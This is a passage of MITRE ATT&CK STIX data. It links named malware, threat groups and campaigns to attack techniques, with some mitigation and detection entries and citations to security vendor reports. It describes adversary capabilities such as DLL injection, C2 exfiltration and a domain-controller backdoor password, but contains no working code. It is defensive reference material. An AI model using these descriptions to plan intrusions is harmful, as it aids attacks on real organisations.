2022)","modified":"2022-04-19T13:28:07.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f72aba67-b581-4836-b5f7-74d125aa906c","type":"relationship","created":"2020-02-12T14:50:52.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T21:16:03.050Z","description":"Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f72d9605-eea6-4ed4-8502-231d4c21431f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"},{"source_name":"Accenture Dragonfish Jan 2018","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018."}],"modified":"2020-03-16T15:46:00.968Z","description":"[Elise](https://attack.mitre.org/software/S0081) injects DLL files into iexplore.exe.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f72d9afb-4eb1-4030-9d91-938f80c4bf6e","type":"relationship","created":"2019-04-17T13:23:24.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2019-06-28T15:05:33.554Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used a publicly available exploit for CVE-2017-0213 to escalate privileges on a local system.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f72dda85-719d-4e6f-bac8-2589934ae6dd","created":"2022-08-16T17:57:21.394Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) has the ability to exfiltrate stolen victim data through its C2 channel.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-24T20:17:55.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f72ffc5a-c872-4b28-b40e-2a3ec85bddcc","type":"relationship","created":"2021-03-23T20:49:40.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist ShadowPad Aug 2017","url":"https://securelist.com/shadowpad-in-corporate-networks/81432/","description":"GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.348Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has downloaded code from a C2 server.(Citation: Securelist ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7328802-07f4-4f00-821a-962fb2678e15","type":"relationship","created":"2021-10-11T16:56:45.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T16:56:45.479Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) downloaded several staged items onto the victim's machine.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f739246f-dd47-44bf-ae15-74fd7a053c7a","created":"2021-12-27T16:53:13.995Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has used PowerShell to execute malicious files and payloads.(Citation: TrendMicro Confucius APT Aug 2021)","modified":"2022-04-07T22:47:00.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f73d269a-9a0d-4485-9587-e0f0f2335c35","created":"2023-03-17T15:50:51.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T21:34:46.359Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used LinkedIn to identify and target employees within a chosen organization.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f73df541-6b55-42d1-aec3-53660fda1508","type":"relationship","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."},{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T15:35:15.184Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used various batch scripts to establish C2 and download additional files. [Gamaredon Group](https://attack.mitre.org/groups/G0047)'s backdoor malware has also been written to a batch file.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7416b2f-b3b3-4fc4-a463-05ae302a6b24","created":"2024-02-21T19:24:09.466Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD SAHARA","description":"Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-sahara"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:24:09.466Z","description":"[Akira](https://attack.mitre.org/groups/G1024) uses utilities such as WinRAR to archive data prior to exfiltration.(Citation: Secureworks GOLD SAHARA)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7484ee2-6d98-4f5b-8788-2cf1675b349d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2019-06-24T19:07:12.564Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) recursively searches through directories for files.(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f74ed982-fc1d-4c6b-945c-52c5e8f13fce","created":"2022-01-11T15:20:42.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:54.001Z","description":"The [Winnti for Windows](https://attack.mitre.org/software/S0141) dropper component can verify the existence of a single command line parameter and either terminate if it is not found or later use it as a decryption key.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7502fdc-497f-4b1d-ad76-dcf213fd27b5","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for unexpected deletion of files from the system","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f751a3d3-1fe5-4be9-8a01-511481458f7f","created":"2024-04-03T20:55:29.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T13:03:19.854Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has executed ransomware using batch scripts deployed via GPO.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f755463c-28a6-4e47-8b13-1028806f5032","type":"relationship","created":"2019-09-18T15:14:13.125Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fysbis Palo Alto Analysis","description":"Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy’s Linux Backdoor. Retrieved September 10, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"}],"modified":"2019-09-18T15:14:13.125Z","description":"(Citation: Fysbis Palo Alto Analysis)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f757a567-97b2-41b0-b58a-1530156ba457","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.661Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's current directory.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f758836e-91b2-4651-ba72-d827553b668c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2019-04-24T23:41:40.115Z","description":"[POSHSPY](https://attack.mitre.org/software/S0150) uses a WMI event subscription to establish persistence.(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f75caad1-161a-4833-b3ec-f4538e1603fe","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.699Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs. It also uses a custom XOR algorithm to obfuscate code.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f761e63a-5c5a-47e3-8256-08bd299f329e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T15:59:20.453Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) identifies files with certain extensions from USB devices, then copies them to a predefined directory.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f761e8f4-932d-4809-acac-2c61b6e3aa3d","created":"2024-05-21T17:54:18.057Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:54:18.057Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has employed [Ping](https://attack.mitre.org/software/S0097) to check network connectivity.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f7623469-eae6-4554-a1d2-35f6ed3a243b","created":"2023-09-30T03:44:44.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T03:42:20.211Z","description":"Using another process or third-party tools, monitor for potentially malicious modifications or access to the `auditd` system process.","relationship_type":"detects","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f76355cb-9aa5-403c-aae4-8faed799ac31","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/skeleton-key-malware-analysis","description":"Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.","source_name":"Dell Skeleton"}],"modified":"2020-03-18T16:17:41.505Z","description":"[Skeleton Key](https://attack.mitre.org/software/S0007) is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.(Citation: Dell Skeleton)","relationship_type":"uses","source_ref":"malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f76be4ac-f342-4904-b50d-06e28b878011","created":"2022-04-15T13:42:41.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Shuckworm January 2022","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:45:08.176Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used `mshta.exe` to execute malicious files.(Citation: Symantec Shuckworm January 2022)(Citation: unit42_gamaredon_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f76d5396-bce5-4bb8-85aa-75d9f1bec9b2","type":"relationship","created":"2021-09-28T17:41:13.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-09-28T17:41:13.107Z","description":"(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f770ba6c-df62-4bd4-ab29-34a954c4f6ac","type":"relationship","created":"2021-10-15T19:52:14.116Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-10-15T19:52:14.116Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has exfiltrated stolen data to the MEGA file sharing site.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.149Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.(Citation: ESET Sednit USBStealer 